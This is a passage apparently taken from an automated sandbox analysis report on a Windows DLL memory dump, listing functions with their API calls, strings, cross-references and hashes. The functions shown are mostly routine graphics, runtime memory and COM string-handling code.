_com_issue_error.COMSUPP ref: 6ED280B0
_com_issue_error.COMSUPP ref: 6ED280BA

Strings

counter, xrefs: 6ED2841B, 6ED28446
value, xrefs: 6ED28288
name, xrefs: 6ED2814A
page, xrefs: 6ED287CB, 6ED287F6

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$StringVariant$Alloc$ChangeClearFreeInitType
String ID: counter$name$page$value
API String ID: 661817203-1733285648
Opcode ID: 69467ac8f8e9414fd357c82df926eae6c4d1d098a3421278a36b3a34e45ff08d
Instruction ID: c801ac11a082019fa9f2542a7350d99771eba3df94b91887849dccea1880754f
Opcode Fuzzy Hash: 69467ac8f8e9414fd357c82df926eae6c4d1d098a3421278a36b3a34e45ff08d
Instruction Fuzzy Hash: 2451FB71904716EFE760CFE4C944B4BB7F8AF05718F204A29EA55AB2C0D775E984C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30DF0, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 298COMMON

Download Yara Rule

APIs

GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6ED31419,?,00000000,?), ref: 6ED30E7E
GetClientRect.USER32(?,?), ref: 6ED310CF
GetDeviceCaps.GDI32(?,0000005A), ref: 6ED31134
MulDiv.KERNEL32(?,00000000,00000048), ref: 6ED31149
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 6ED31169
SetTextColor.GDI32(?,?), ref: 6ED31181
SelectObject.GDI32(?,00000000), ref: 6ED31189
DrawTextW.USER32(?,?,?,?,00000000), ref: 6ED311C1
SelectObject.GDI32(?,00000000), ref: 6ED311C9
DeleteObject.GDI32(00000000), ref: 6ED311D0

Strings

%s%s%s, xrefs: 6ED3106D
%s%d.%d%s, xrefs: 6ED31014
[N/A], xrefs: 6ED30F93

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectText$Select$CapsClientColorCreateDeleteDeviceDrawFontMetricsRect
String ID: %s%d.%d%s$%s%s%s$[N/A]
API String ID: 938400745-711029782
Opcode ID: b143886cac192ee0f24f7fa69811be431673414342f8bb40965d626190075d42
Instruction ID: ba12e67b083eacc16b3669668df982dcf9426069b7ef2c214524fbb506b70a07
Opcode Fuzzy Hash: b143886cac192ee0f24f7fa69811be431673414342f8bb40965d626190075d42
Instruction Fuzzy Hash: 72C16B759002299FDB14CF64CC85BDAB7B9FF49304F1482E9E509AB255E730EA85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED46040, Relevance: 22.8, APIs: 15, Instructions: 343COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED460B0
_free.LIBCMT ref: 6ED460C5
_free.LIBCMT ref: 6ED460DA
_free.LIBCMT ref: 6ED460EF
_free.LIBCMT ref: 6ED46104
GetCPInfo.KERNEL32(?,?), ref: 6ED4614E

Part of subcall function 6ED4DBB5: _free.LIBCMT ref: 6ED4DC20

_free.LIBCMT ref: 6ED46392
_free.LIBCMT ref: 6ED463A5
_free.LIBCMT ref: 6ED463B3
_free.LIBCMT ref: 6ED463BE
_free.LIBCMT ref: 6ED46400
_free.LIBCMT ref: 6ED46408
_free.LIBCMT ref: 6ED46410
_free.LIBCMT ref: 6ED46418
_free.LIBCMT ref: 6ED46426

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 6ae1289095e6c67de9c3b9ea0d9a085a693c69d84982c34a24e82e16d3978708
Instruction ID: eb14f6818d94a8cfd002e4b096ffa82c7e10754ca1043c5d7fcbb11927f20fd0
Opcode Fuzzy Hash: 6ae1289095e6c67de9c3b9ea0d9a085a693c69d84982c34a24e82e16d3978708
Instruction Fuzzy Hash: 4BD18E71D1024ADFDB11CFE8C884BEEBBB5FF18304F144469E9A6A7281D775A845CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED28EA0, Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 405memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,3EF319B9,7504D5B0,00000000), ref: 6ED28F44
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6ED28F52
MultiByteToWideChar.KERNEL32(00000003,00000000,line,000000FF,00000000,00000000,?,00000000,3EF319B9,7504D5B0,00000000), ref: 6ED28F6F
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6ED28F88
SysFreeString.OLEAUT32(00000000), ref: 6ED28F97
SysFreeString.OLEAUT32(00000000), ref: 6ED29234
SysFreeString.OLEAUT32(00000000), ref: 6ED29286
_com_issue_error.COMSUPP ref: 6ED29294
Concurrency::cancel_current_task.LIBCPMT ref: 6ED29299
SysFreeString.OLEAUT32(7504D5B0), ref: 6ED292A4

Strings

Arial, xrefs: 6ED28FAD
line, xrefs: 6ED28F3B, 6ED28F66

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstrConcurrency::cancel_current_task_com_issue_error
String ID: Arial$line
API String ID: 3866382671-367345269
Opcode ID: 307c87df0178c8a376e8de35cf8b8cd52a6dab63b1ca978feacdd28d8383935c
Instruction ID: debd96dff5c5b60e583eb06a900e0bbd52815cf6faf63c6ff539bfbd633e978b
Opcode Fuzzy Hash: 307c87df0178c8a376e8de35cf8b8cd52a6dab63b1ca978feacdd28d8383935c
Instruction Fuzzy Hash: A1E1CD70D00319DFEB10CFE4C994BAEBBB9AF45318F20466DE505AB380D774AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED51B90, Relevance: 19.6, APIs: 13, Instructions: 114COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6ED51BD4

Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED53334
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED53346
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED53358
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5336A
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5337C
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5338E
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533A0
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533B2
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533C4
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533D6
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533E8
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED533FA
Part of subcall function 6ED53317: _free.LIBCMT ref: 6ED5340C

_free.LIBCMT ref: 6ED51BC9

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED51BEB
_free.LIBCMT ref: 6ED51C00
_free.LIBCMT ref: 6ED51C0B
_free.LIBCMT ref: 6ED51C2D
_free.LIBCMT ref: 6ED51C40
_free.LIBCMT ref: 6ED51C4E
_free.LIBCMT ref: 6ED51C59
_free.LIBCMT ref: 6ED51C91
_free.LIBCMT ref: 6ED51C98
_free.LIBCMT ref: 6ED51CB5
_free.LIBCMT ref: 6ED51CCD

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: a6885b374e7844ea700eee6ccf13ad40dc508030fd8046934324518d87ce4309
Instruction ID: a25f1a26d3174950758de3020cd5a8a738b9f46778263f7ada33bbba8ea5c8c2
Opcode Fuzzy Hash: a6885b374e7844ea700eee6ccf13ad40dc508030fd8046934324518d87ce4309
Instruction Fuzzy Hash: A0318F31644A05DFEF509FB9D980B96B3E8FF40358F108C29E469D7294DF32E8A48B60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED53415, Relevance: 18.4, APIs: 12, Instructions: 375COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED5345D
_free.LIBCMT ref: 6ED53481
_free.LIBCMT ref: 6ED5348E
_free.LIBCMT ref: 6ED534B3
_free.LIBCMT ref: 6ED534C0
_free.LIBCMT ref: 6ED534C9
_free.LIBCMT ref: 6ED537A4
_free.LIBCMT ref: 6ED537AC

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5a883afb6364117d9e54d6fdd5fcb10d911a7ab4565548773cdf7c966f2e1449
Instruction ID: 2a24a0c4f16316872505ed78089d5efa5570cdda0cbf77c8a0a6bf802d043197
Opcode Fuzzy Hash: 5a883afb6364117d9e54d6fdd5fcb10d911a7ab4565548773cdf7c966f2e1449
Instruction Fuzzy Hash: 20C11DB6E40208EFDB20CBE8CC86FDA77FCAB59744F144565FA44FB285D67099418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED438F1, Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 493COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 6ED43D04

Strings

Z, xrefs: 6ED43AC2
A, xrefs: 6ED43AB8
f, xrefs: 6ED439FA
p, xrefs: 6ED43A01
f, xrefs: 6ED43A40
p, xrefs: 6ED43A47
:, xrefs: 6ED439B8
p, xrefs: 6ED439E5
f, xrefs: 6ED439DE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z$f$f$f$p$p$p
API String ID: 1302938615-2466996737
Opcode ID: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction ID: 86c04b227b05412dd06b0c4aff1d0b02bf3471c2eacbaa7325b80e4a388f23e2
Opcode Fuzzy Hash: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction Fuzzy Hash: 81129FB990025ACBEF209FEDD88D6DDB7B2FB60B14FA04255D4547B684D3708E84CB22

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4FECD, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

, xrefs: 6ED50155

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: c52525019647ee4121d28dd420399039b0d5e7d635bab04ce52f97f03ad474ed
Instruction ID: 743bc173a041c29feb62930661d783829e1a730e9ebc9dedd04c3080c8b5129a
Opcode Fuzzy Hash: c52525019647ee4121d28dd420399039b0d5e7d635bab04ce52f97f03ad474ed
Instruction Fuzzy Hash: F4C1FE70A0464ADFEF41CFD9C890BADBBB8AF4A358F004959E854AB381D730D952CB71

Uniqueness

Uniqueness Score: -1.00%

Function 6ED323E0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 179registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6ED6DA58), ref: 6ED32414
GetClassInfoExW.USER32 ref: 6ED32449
GetClassInfoExW.USER32 ref: 6ED3245C
LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED32467
LoadCursorW.USER32(6ED20000,?), ref: 6ED324B9
GetClassInfoExW.USER32 ref: 6ED3250F
RegisterClassExW.USER32 ref: 6ED3251F
LeaveCriticalSection.KERNEL32(6ED6DA58), ref: 6ED325B2

Strings

ATL:%p, xrefs: 6ED324D9
0, xrefs: 6ED32442

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$CriticalInfoSection$Leave$CursorEnterLoadRegister
String ID: 0$ATL:%p
API String ID: 269841140-2453800769
Opcode ID: 7a1411cdc465caaf70b568727afa09f573ae5365c6801ed5cefdf9fae5c4d541
Instruction ID: 38a55e631786341b2fe7093fa92cfeecadfb719334b6ed07edfce6d5826ac585
Opcode Fuzzy Hash: 7a1411cdc465caaf70b568727afa09f573ae5365c6801ed5cefdf9fae5c4d541
Instruction Fuzzy Hash: 0161BF71D08B15CFEB50DFA8D9505AAB7B4FF5A318F205A1DE88697640EB30F581CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED24FC0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6ED24FFF
std::_Lockit::_Lockit.LIBCPMT ref: 6ED25021
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED25041
std::_Facet_Register.LIBCPMT ref: 6ED251AA
std::_Lockit::~_Lockit.LIBCPMT ref: 6ED251C2
Concurrency::cancel_current_task.LIBCPMT ref: 6ED251E4
Concurrency::cancel_current_task.LIBCPMT ref: 6ED251E9
Concurrency::cancel_current_task.LIBCPMT ref: 6ED251EE

Strings

true, xrefs: 6ED2517B
false, xrefs: 6ED25155

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_task$Lockit::_Lockit::~_$Facet_Register
String ID: false$true
API String ID: 3742692055-2658103896
Opcode ID: 933890e149fa4d908ac8dd5b0d3ba55af59a37e213795ad14dba6bb4c3f4ed20
Instruction ID: 3bcea9de56101b60fd1789d1a0bae9a0eb1af5816d1ffa77c4490e109b18c061
Opcode Fuzzy Hash: 933890e149fa4d908ac8dd5b0d3ba55af59a37e213795ad14dba6bb4c3f4ed20
Instruction Fuzzy Hash: 4361DF70900715CFEB11CFE4C940BAEBBB5EF06708F20496DD905AB385DB76AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2E100, Relevance: 16.8, APIs: 11, Instructions: 343stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6ED2DF40: CharNextW.USER32(?,00000000,00000000,?,C000008C,00000001), ref: 6ED2DF7E
Part of subcall function 6ED2DF40: CharNextW.USER32(00000000,?,00000000,00000000), ref: 6ED2DFAB
Part of subcall function 6ED2DF40: CharNextW.USER32(74ECEEF0,?,00000000,00000000), ref: 6ED2DFC4
Part of subcall function 6ED2DF40: CharNextW.USER32(74ECEEF0,?,00000000,00000000), ref: 6ED2DFCF
Part of subcall function 6ED2DF40: CharNextW.USER32(00000001,?,00000000,00000000), ref: 6ED2E03E

lstrcmpiW.KERNEL32(?,6ED65988,?,3EF319B9,?,00000000,C000008C,?,00000000,6ED58D9B,000000FF,?,6ED2F13E,00000000,00000000,C000008C), ref: 6ED2E183
lstrcmpiW.KERNEL32(?,6ED6598C,?,6ED2F13E,00000000,00000000,C000008C,C000008C), ref: 6ED2E19A

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$lstrcmpi
String ID:
API String ID: 3586774192-0
Opcode ID: 36ef6c14a1654eb011a056856c0483b72bbb94e8614137942cc61c786854919a
Instruction ID: 9004d2920db765e9765d3723f60d8abdafc165b73bb1a50b3c76fa94a3c14bfc
Opcode Fuzzy Hash: 36ef6c14a1654eb011a056856c0483b72bbb94e8614137942cc61c786854919a
Instruction Fuzzy Hash: 97D1B371910229DFDB26CBB4CC44BD9B7B8AF59308F0505B5EB49A7280E7309A99CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6ED39E3A, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6ED39F37
type_info::operator==.LIBVCRUNTIME ref: 6ED39F59
___TypeMatch.LIBVCRUNTIME ref: 6ED3A068
IsInExceptionSpec.LIBVCRUNTIME ref: 6ED3A13A
_UnwindNestedFrames.LIBCMT ref: 6ED3A1BE
CallUnexpected.LIBVCRUNTIME ref: 6ED3A1D9

Strings

csm, xrefs: 6ED39F90
csm, xrefs: 6ED39E77
csm, xrefs: 6ED39EE4

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 143e7d77c91ad3960d87082327dcaf5ff17c8ae7f23d1f3270c2ea532f70956d
Instruction ID: b64ad11e72b26e498ccc79bc42ceccd267cd21db4835fcbb009db18ea012a697
Opcode Fuzzy Hash: 143e7d77c91ad3960d87082327dcaf5ff17c8ae7f23d1f3270c2ea532f70956d
Instruction Fuzzy Hash: A0B19B7590422AEFCF15CFE4C8809DEB7B9BF06314F204959E8116B25AD731DA51CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30400, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107timeCOMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 6ED30418
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6ED30445
MulDiv.KERNEL32(00000008,00000000), ref: 6ED3044E
CreateFontW.GDI32(00000000), ref: 6ED30457
ReleaseDC.USER32 ref: 6ED30464
SetTimer.USER32(?,000003E8,000003E8,00000000), ref: 6ED30479

Part of subcall function 6ED312B0: BeginPaint.USER32(?,?), ref: 6ED312F3
Part of subcall function 6ED312B0: GetParent.USER32(?), ref: 6ED312FC
Part of subcall function 6ED312B0: GetClientRect.USER32(00000000,?), ref: 6ED31312
Part of subcall function 6ED312B0: CreateCompatibleDC.GDI32(?), ref: 6ED31318
Part of subcall function 6ED312B0: CreateCompatibleBitmap.GDI32(?,?,?), ref: 6ED3133A
Part of subcall function 6ED312B0: SelectObject.GDI32(00000000,00000000), ref: 6ED31346
Part of subcall function 6ED312B0: SelectObject.GDI32(00000000,?), ref: 6ED31358
Part of subcall function 6ED312B0: SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6ED31371
Part of subcall function 6ED312B0: SendMessageW.USER32(?,0000000F,?,00000000), ref: 6ED3137F
Part of subcall function 6ED312B0: SetBkMode.GDI32(?,00000001), ref: 6ED31388
Part of subcall function 6ED312B0: SetTextColor.GDI32(?,00FFFFFF), ref: 6ED31394
Part of subcall function 6ED312B0: GetClientRect.USER32(?,?), ref: 6ED313A6
Part of subcall function 6ED312B0: ClientToScreen.USER32(?,?), ref: 6ED313B4
Part of subcall function 6ED312B0: ClientToScreen.USER32(?,?), ref: 6ED313C9
Part of subcall function 6ED312B0: ClientToScreen.USER32(?,?), ref: 6ED313EB

DeleteObject.GDI32(?), ref: 6ED304A0

Strings

Arial, xrefs: 6ED3041E

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Client$CreateObjectScreen$CompatibleMessageRectSelectSend$BeginBitmapCapsColorDeleteDeviceFontModePaintParentReleaseTextTimer
String ID: Arial
API String ID: 1525433823-493054409
Opcode ID: 5e96a23a9665d82011ff503d6b371c262165774259c94cc6ca0d8377f67ccd49
Instruction ID: 8580423f2a910ab8e0e063b15454839b4739f461f23fdb915f1e2eaba035edef
Opcode Fuzzy Hash: 5e96a23a9665d82011ff503d6b371c262165774259c94cc6ca0d8377f67ccd49
Instruction Fuzzy Hash: BA31F431240716EFFB509F68DC46B9A7BA8FB46321F204512F501DA6D0D7B6E962CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED37640, Relevance: 15.2, APIs: 10, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,6ED27CE5,6ED27CE7,00000000,00000000,3EF319B9,?,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED376C9
__alloca_probe_16.LIBCMT ref: 6ED376EE
MultiByteToWideChar.KERNEL32(00000000,00000000,6ED27CE5,?,00000000,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED37744
SysAllocString.OLEAUT32(00000000), ref: 6ED3774F
_com_issue_error.COMSUPP ref: 6ED37778
_com_issue_error.COMSUPP ref: 6ED37782
GetLastError.KERNEL32(80070057,3EF319B9,?,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED37787
_com_issue_error.COMSUPP ref: 6ED3779A
GetLastError.KERNEL32(00000000,?,00000000,?,Function_00018230,6ED6A1F0,000000FE,?,6ED27CE5), ref: 6ED377B0
_com_issue_error.COMSUPP ref: 6ED377C3

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString__alloca_probe_16
String ID:
API String ID: 3079088546-0
Opcode ID: 1eb925988fed94b7c5ecd7f32c2c227224f12ff962798e517432703e84368be9
Instruction ID: 4bd48cdb38dfc8390ba11ae990ee400ddb88516f014d4e3208a8be07fc9c0fbf
Opcode Fuzzy Hash: 1eb925988fed94b7c5ecd7f32c2c227224f12ff962798e517432703e84368be9
Instruction Fuzzy Hash: 5141A6B1A00A25FBDB409FE8C844B9F7BA8EB4A714F304629E519E72C0D774D441CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 6ED48836, Relevance: 15.1, APIs: 10, Instructions: 70COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6ED4884C

Part of subcall function 6ED48252: HeapFree.KERNEL32(00000000,00000000,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?), ref: 6ED48268
Part of subcall function 6ED48252: GetLastError.KERNEL32(?,?,6ED53A72,?,00000000,?,?,?,6ED53D17,?,00000007,?,?,6ED51D29,?,?), ref: 6ED4827A

_free.LIBCMT ref: 6ED48858
_free.LIBCMT ref: 6ED48863
_free.LIBCMT ref: 6ED4886E
_free.LIBCMT ref: 6ED48879
_free.LIBCMT ref: 6ED48884
_free.LIBCMT ref: 6ED4888F
_free.LIBCMT ref: 6ED4889A
_free.LIBCMT ref: 6ED488A5
_free.LIBCMT ref: 6ED488B3

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: de950a84b656d45e7fa7d3d23c05bf2dc9b56766ab53bc9d97d6603a2a6567da
Instruction ID: 9775fc725014a83397783cf710fe2da4dd27c91db11cdf4800beedf0a70257be
Opcode Fuzzy Hash: de950a84b656d45e7fa7d3d23c05bf2dc9b56766ab53bc9d97d6603a2a6567da
Instruction Fuzzy Hash: BE21857A940108EFCB41DFE4C980DDE7BB9FF58284F0149A6F9199B160EB31EA54CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2D3E0, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 100libraryloaderregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,3EF319B9,?,?,?,6ED58C60,000000FF), ref: 6ED2D419
GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 6ED2D429
GetModuleHandleW.KERNEL32(Advapi32.dll,3EF319B9,?,?,?,6ED58C60,000000FF), ref: 6ED2D489
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 6ED2D499
RegDeleteKeyW.ADVAPI32(?,?), ref: 6ED2D4E8

Strings

Advapi32.dll, xrefs: 6ED2D414, 6ED2D484
RegDeleteKeyExW, xrefs: 6ED2D493
RegDeleteKeyTransactedW, xrefs: 6ED2D423

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
